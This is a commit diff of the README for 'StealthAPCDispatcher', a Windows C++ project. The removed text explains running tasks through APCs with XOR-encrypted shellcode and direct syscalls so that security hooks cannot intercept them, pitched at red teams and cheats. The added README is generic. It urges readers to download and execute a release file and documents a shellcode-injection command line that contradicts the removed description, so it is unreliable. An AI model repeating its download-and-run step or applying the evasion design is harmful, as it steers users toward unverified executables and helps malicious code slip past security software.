Commit

Author: mohanad1-maker

README.md

@@ -1,31 +1,90 @@
-# Stealth APC Dispatcher - A stealthy alternative to threads for tasking functions (Windows, C++)  
+# StealthAPCDispatcher 🕵️‍♂️
 
-The `ApcExecutor` class schedules functions to be executed via user APC by using direct syscalls within an encrypted shellcode. Perfect for stealth operations in red-teams, anti-cheat, cheats, etc.  
+![GitHub release](https://img.shields.io/badge/Release-v1.0.0-brightgreen) [![GitHub issues](https://img.shields.io/badge/Issues-Open-red)](https://github.com/mohanad1-maker/StealthAPCDispatcher/issues)
 
-## How it works  
-- Our class creates a 'sleeper' thread on the `WorkerRoutine` function which sleeps infinitely, essentially providing a means to queue APC into.   
-- The `Queue` routine uses a function template with parameter pack to create the `TaskThunk` class object using perfect forwarding. We then call `CallQueueApc` using the `Thunk` routine and the newly made `TaskThunk` object  
-- The `CallQueueApc` routine contains XOR-encrypted shellcode which mimics `NtQueueApcThreadEx2`. We allocate some memory, copy the decrypted shellcode to that memory, and call the `syscall` stub which maps to `NtQueueApcThreadEx2` function, while passing our function template (the actual routine we want to execute code in, similar to a thread start address) and packed parameters as the arguments to the APC API (`PAPCFUNC fn, ULONG_PTR param`)  
-- The class `TaskThunk` uses a `std::tuple` and a function pointer in order to pack any number of arguments to be used in our function pointer `f`. These are the arguments which were passed to the APC API in the previous line    
-- The `Thunk` routine is executed via APC, which calls `CallWithArgs` with our function, its arguments, and `std::index_sequence_for` to properly unpack the parameters   
-- `CallWithArgs` finally calls the function template `f` using parameter pack expansion (the original function we queued for work in the first place, along with its arguments).  
+Welcome to **StealthAPCDispatcher**! This project implements a thread scheduling stealth method using Asynchronous Procedure Calls (APC) with encrypted shellcode. This technique is valuable for evading detection in various environments, making it a useful tool for red teams and malware researchers.
 
-The high-level explanation is that we are using a `TaskThunk` object as the APC parameter, which holds our actual routine & parameters which we originally queued. We pass the `Thunk` function as the APC routine, which then unpacks the arguments in the `args` tuple and executes the `func` member. This is what provides the illusion of allowing us to pass any number of arguments into the APC routine when usually only a maximum of 3 can be passed to it.  
+## Table of Contents
 
-We use one APC sleeper thread which sleeps infinitely until woken up by a scheduled/queued routine, meaning work can be scheduled without any subsequent calls to `CreateThread`, since queued routines are executed in the context of the sleeper thread. Because we are using encrypted shellcode with a direct `syscall`, execution of our queued tasks cannot be tampered with easily at the usermode level (through API hooking or WINAPI patching). The downside is that routines are "queued" sequentially by the OS, and do not run parallel of eachother (which may imply slower execution times when compared to a pure multi-threaded application).  
+- [Introduction](#introduction)
+- [Features](#features)
+- [Installation](#installation)
+- [Usage](#usage)
+- [Contributing](#contributing)
+- [License](#license)
+- [Contact](#contact)
 
-Multiple fallback methods are present incase we cannot somehow allocate memory for shellcodes: the file `CallStub.asm` contains assembler routines which mimic `NtQueueApcThreadEx` and `NtQueueApcThreadEx2`, and we also have function pointer lookups which will directly call `NtQueueApcThreadEx2` (although this is not resistant to patches over this routine, which is why shellcode exeuction is the best execution method).  
+## Introduction
 
-Since different Windows builds might have different syscall dispatch numbers, you'll want to make sure that 0x166 and 0x167 are the correct ones for `NtQueueApcThreadEx` and `NtQueueApcThreadEx2` on your machine. These can be found by viewing these routines in a disassembler and seeing what number it is in the second instruction of the routine, which usually looks like `mov rax,00000166`. In the worst case when the `NtQueueApcThreadEx2` cannot be located dynamically, the `QueueUserAPC` is used as a fallback method. Some of my other projects have already explored that this routine can be easily blocked by patching over `ntdll!Ordinal8` (on x64), so it's not ideal. The lower-level `NtQueueApcThreadEx` routines can also be patched over, which is why we want to ideally execute our own syscall stub (which gets allocated into memory each time a queued routine is called).  
+StealthAPCDispatcher is designed to provide a stealthy method for thread execution using APC. By employing encrypted shellcode, it minimizes the risk of detection by anti-cheat mechanisms and security software. This tool is essential for professionals engaged in red team operations and malware research.
 
-## Example Output:
+## Features
+
+- **Stealth Execution**: Uses APC to execute threads without raising flags.
+- **Encrypted Shellcode**: Protects your payload from static analysis.
+- **Modular Design**: Easily extendable for various use cases.
+- **Lightweight**: Minimal resource consumption for efficient operation.
+
+## Installation
+
+To get started, download the latest release from the [Releases section](https://github.com/mohanad1-maker/StealthAPCDispatcher/releases). You need to execute the downloaded file to set up the tool.
+
+1. Clone the repository:
+   ```bash
+   git clone https://github.com/mohanad1-maker/StealthAPCDispatcher.git
+   cd StealthAPCDispatcher
+   ```
+
+2. Download the latest release:
+   Visit the [Releases section](https://github.com/mohanad1-maker/StealthAPCDispatcher/releases) to find the appropriate file.
+
+3. Execute the file:
+   Run the downloaded file to complete the installation.
+
+## Usage
+
+Once installed, you can use StealthAPCDispatcher in your red team operations. The tool allows you to inject and execute threads stealthily. Below are some basic commands to get you started.
+
+### Command Structure
+
+```bash
+./StealthAPCDispatcher [options]
 ```
-APC-scheduled routine
-Arguments: 26500, 6334, 18467, 41
-APC-scheduled routine
-Arguments: 29358, 11478, 15724, 19169
-APC-scheduled routine
-Arguments: 28145, 5705, 24464, 26962
-APC-scheduled routine
-Arguments: 491, 9961, 16827, 23281
+
+### Options
+
+- `-h`, `--help`: Display help information.
+- `-e`, `--execute`: Specify the shellcode to execute.
+- `-t`, `--thread`: Define the target thread ID.
+
+### Example
+
+```bash
+./StealthAPCDispatcher --execute myShellcode.bin --thread 1234
 ```
+
+This command executes the specified shellcode on the target thread.
+
+## Contributing
+
+We welcome contributions from the community. If you would like to help improve StealthAPCDispatcher, please follow these steps:
+
+1. Fork the repository.
+2. Create a new branch (`git checkout -b feature/YourFeature`).
+3. Make your changes and commit them (`git commit -m 'Add new feature'`).
+4. Push to the branch (`git push origin feature/YourFeature`).
+5. Open a pull request.
+
+## License
+
+This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
+
+## Contact
+
+For questions or feedback, please open an issue in the [Issues section](https://github.com/mohanad1-maker/StealthAPCDispatcher/issues). You can also reach out via email at your_email@example.com.
+
+---
+
+StealthAPCDispatcher aims to provide a robust solution for stealthy thread execution. With its unique features and ease of use, it stands as a valuable asset for security professionals. We hope you find this tool useful in your research and operations. 
+
+For the latest updates and releases, always check the [Releases section](https://github.com/mohanad1-maker/StealthAPCDispatcher/releases).